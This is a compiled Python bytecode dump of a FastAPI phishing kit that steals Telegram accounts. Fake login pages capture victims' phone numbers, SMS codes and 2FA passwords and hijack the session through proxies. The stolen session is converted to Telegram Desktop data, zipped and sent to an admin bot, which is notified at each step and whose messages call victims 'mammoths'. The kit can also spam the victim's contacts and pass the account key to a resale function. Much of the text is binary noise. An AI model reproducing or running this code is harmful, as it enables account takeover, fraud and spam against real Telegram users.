
    Hh                        d dl Z d dlZd dlZd dlZd dlmZ d dlmZmZm	Z	 d dl
mZmZ d dl
mZ d dlmZ d dlmZ d dlmZ d d	lmZ d d	lmZ d d
lmZ d dlmZmZmZ d dlmZ d dl m Z! d dl"m#Z# d dl$m%Z%  ed      Z&g Z'i Z( e e!d            Z)d Z*d Z+de,fdZ-d Z.d Z/d Z0d Z1d'dZ2 e e+             Z3e3ji                  d      defd       Z5e3ji                  d       d!        Z6e3jo                  d        e       fdefd"       Z8e3jo                  d#       e       fdefd$       Z9e3jo                  d%       e       fdefd&       Z:y)(    N)Bot)	InputFileInlineKeyboardMarkupInlineKeyboardButton)FastAPIForm)Request)Jinja2TemplatesRedirectResponse)UseCurrentSession)TelegramClient)AuthKey)SessionPasswordNeededErrorPhoneCodeInvalidErrorPasswordHashInvalidError)SQLiteSession)configadd_item)
service_kbz
templates/)	directory	admin_botc                     K   	 t         r)t         D ]  } |  d {     t         j                          t        j                  d       d {    M7 87 w)N   )tasksclearasynciosleep)tasks    /var/www/html/main.pytask_executorr"      sK     
 

KKMmmA  s!   AA2AAAAc                  ^    t        j                         } | j                  t                      y N)r   get_running_loopcreate_taskr"   )loops    r!   start_task_executorr(      s     ##%D]_%    phonec                 \    t        j                  | d|        t        j                  |        y )Nzip)shutilmake_archivermtree)r*   s    r!   to_zipr0   "   s     
ue,
MM%r)   c                     g } t        dd      j                         }|D ]e  }|j                  d      d   j                  d      \  }}|j                  d      d   j                  d      \  }}||||g}| j                  |       g t	        j
                  |       }t        j                  j                  |d   t        |d         |d   |d   d	d
}|S )Nzproxies.txtr@r   :         T)
proxy_typeaddrportusernamepasswordrdns)
open	readlinessplitappendrandomchoicepython_socks	ProxyTypeSOCKS5int)proxiesproxies_from_fileproxyloginpwdipr:   proxs           r!   	get_proxyrO   %   s    G{S1;;=" [[%a(..s3
s;;s#A&,,S1DD%%t	
 ==!D",,33QDGGGE Lr)   c                    K   t        d      dk(  r
t               nd }t        |       t        t        d      t        d      d| z   |      }|j	                          d {    |S 7 w)NrJ   1api_hashapi_id	sessions/)rR   rS   sessionrJ   )cfgrO   printr   connect)session_namerJ   rU   s      r!   build_clientrZ   7   s`     w<3.IKDE	%LZ8}L(	G //
N s   AA(A& A(c                   K   t        |        d {   }|j                          d {    |j                         }|2 3 d {   }	 |j                  j                  r!|j                  |t        d             d {   }|j                  ||j                  d       d {    k7 7 7 j7 17 #  Y yxY w6 |j                          d {  7   y w)NSPAM_MSGF)revoke)
rZ   rX   iter_dialogsentitybotsend_messagerV   delete_messagesid
disconnect)rY   clientdialogsdialogmsg_objs        r!   spamri   D   s     --F
..
!!#G  f	}}  "//s:GGG((

%(HHH . HH	   


s   CB+CB-C B<B/B<C
B5 C!B5?B1 %B5%B3&B5*C-C/B<1B53B55B97CCCc                 :   K   t        | ||       d {    y 7 wr$   r   )dc_idhex_keypremiums      r!   load_to_lolzrn   Q   s     
5
)))s   c                   K   t        |        d {   }|j                          d {   }|j                         }d}d}d}|2 3 d {   }|dz  }|j                  r1|j                  j
                  s|j                  j                  r|dz  }|j                  r|dz  }]^7 7 |7 ]6 	 |j                  }	|	j                  }
|	j                  f}|
j                  j                         f}|j                  }n$# t        $ r}t        d|        Y d }~nd }~ww xY w|j!                          d {  7   d| d| d| d|  d|rd	| nd
 d|j"                   d|j$                   d|j&                   d|j                   d|j(                   d}t+        d|  d      }|j-                  t.               d {  7  }|j1                  d|         t3        d|         |j!                          d {  7   t4        j7                  t9        d      t;        d|  d      |t=        |       d       d {  7   t9        d      dk(  rt?        |        d {  7   t9        d      dk(  r rrrtA        |||       d {  7   y y y y y w)Nr   r5   uP   Ошибка обработки данных для залива на лолз: uF   
    <b>🔥 NEW LOG 🔥</b>
    ✉️ Всего диалогов: u   
    📢 Групп: u    
    💎 Управление: u   

    ☎️ Номер: <code>z</code>
    u
   🔑 2FA:  u   
    ⚙️ ID: <code>u!   </code>
    🐘 Никнейм: u   
    👤 Юзернейм: @u   
    ⭐️ Премиум: u   
    ⛔️ Скам: z
                    rT   z.session)flagztdatas/admin_idz.ziphtml)captionreply_markup
parse_modeautosmsrQ   lolz)!rZ   get_mer^   
is_channelr_   creatoradmin_rightsis_grouprU   auth_keyrk   keyhexrm   	ExceptionrW   rd   rc   
first_namer;   scamConvertClinet
ToTDesktopr   	SaveTDatar0   r`   send_documentrV   r   r   ri   rn   )rY   codere   inforf   dialogs_countowner_channelgrouprg   rU   r~   rk   rl   rm   emsgtdesks                    r!   session_handlerr   S   s    --F D!!#GMME  f}}$$(B(B"??QJE . 
f!'#,,,,""$%,, f`ab`cdeef



))6 8W   - /*^ , z$b) *ggY //* +!]]O , LL> *ii[ !C Y|nH=>F##):#;;;E	OOgl^,-
W\N#$






C
OI~T6R,S\_mw  yE  nF  RX
  Y  Y  Y
9~s<   
6{CEg'5111 3:gEs   JB$JB&JB*
B(B*AJ&J(B**J,AC9 8J9	DDJDJ0D31BJ8F;9:J3G64AJ5H86!JI)JJ
J)
on_startup/requestc                 T   K   t         j                  t        d       dd| i      S w)Ntempl
/auth.htmlr   context)tempTemplateResponserV   )r   s    r!   rootr      s-       CL>!<iQXEY ZZs   &(z/authc                      K   t        d      S w)Nr   r    r)   r!   redirectingr      s     C  s   c                 f  K   |j                  dd      }t        |       d {   t        |<   	 t        |   j                          d {    t        |   j	                  |d       d {    t        |   j                          d {    t        j                  t        d      d|        d {    t        j                  t        d       d| |d	
      S 7 7 7 w7 Z7 2# t        $ r;}t        |       t        j                  t        d       d| dd
      cY d }~S d }~ww xY ww)N+rp   T)r*   	force_smsrr   u4   📱 Мамонт ввёл верный номер: r   /auth_code.htmlr   r*   r   r   u,   Неверный номер телефонаr   error)replacerZ   sessionsrX   send_code_requestrd   r`   ra   rV   r   r   r   rW   )r   r*   r   s      r!   sending_code_to_userr      s%    MM#b!E(//HUOWuo%%'''uo//et/LLLuo((***s:2fglfm0nooo$$G~_%E[blqOr$ss 0'L*o Wa$$G~Z%@V]  gU  KV$  W  	WWs   !D1C D1C* 
C"!C* ,C$-C* C&)C* 5C(6)C* D1"C* $C* &C* (C* *	D.30D)#D.$D1)D..D1z/auth/{phone}c                   K   	 t         |   j                          d {    t         |   j                  d|z   |       d {    t         |   j                          d {    t        j                  t        j                  t        |                   t        j                  t        d      d       d {    t        j                  t        d       dd| i	      S 7 7 7 7 /# t        $ rT t        j                  t        d      d|        d {  7   t        j                  t        d       d| |d	      cY S t        $ r1}t        j                  t        d       d
| |dd	      cY d }~S d }~ww xY ww)Nr   )r*   r   rr   u+   ✅ Успешная авторизацияu   🔑 запрошен 2FA: r   /auth_password.htmlr   r   r   u6   Введенный код недействителенr   r*   r   
/done.htmlr   )r   rX   sign_inrd   r   rA   r   r&   r   r`   ra   rV   r   r   r   r   )r   r*   r   r   s       r!   checking_code_from_userr      sj    vuo%%'''uo%%C%Kd%CCCuo((***W(()?@As:2]___   CL>!<iQXEY ZZ 	(C*_% xs:2MeW0UVVV$$G~5H%I_fpuSv$ww ! v$$G~_%E[bmr  |t  Pu$  v  	vvs   FC, C$$C, C&C, "C(#AC, :C*;C, ?%F$C, &C, (C, *C, ,.FD+FFF&E<6F7F<FFz/authpassword/{phone}c                   K   	 t         |   j                          d {    t         |   j                  d|z   |       d {    t         |   j                          d {    t        j                  t        j                  t        ||                   t        j                  t        d      d       d {    t        j                  t        d       dd| i
      S 7 7 7 7 /# t        $ r) t        j                  t        d       d| dd	
      cY S t        $ r1}t        j                  t        d       d| |dd
      cY d }~S d }~ww xY ww)Nr   )r*   r<   )r   rr   u2   ✅ Успешная авторизация с 2FAr   r   u0   Невалидный номер телефонаr   r   r   u<   Введенный пароль недействителенr   r   r   )r   rX   r   rd   r   rA   r   r&   r   r`   ra   rV   KeyErrorr   r   r   )r   r*   r<   r   s       r!   twofa_code_from_userr      sV    	@uo%%'''uo%%C%K%JJJuo((***W((H)MNOs:2dfff
   CL>!<yRYFZ [[ 	(J*f ]$$G~Z%@V]  i[  K\$  ]  	]# @$$G~5H%I_fqv  @~  T$  @  	@@s   EC. C&$C. C(C. "C*#AC. <C,=C. %E&C. (C. *C. ,C. ./EEE'&EEEEE)rp   );r   rB   r-   rD   aiogramr   aiogram.typesr   r   r   fastapir   r   r	   fastapi.templatingr
   fastapi.responsesr   opentele.apir   opentele.tlr   r   telethontelethon.cryptor   telethon.errorsr   r   r   telethon.sessionsr   r   rV   rx   r   keyboardr   r   r   r   r`   r"   r(   strr0   rO   rZ   ri   rn   r   appgetr   r   postr   r   r   r   r)   r!   <module>r      si        O O !  . . * 7 # # g g +    :/
	#k
& $*02b ,./[ [ [! !'6:f W W W />Bf [7 [ [  
!"?Cv \ \ #\r)   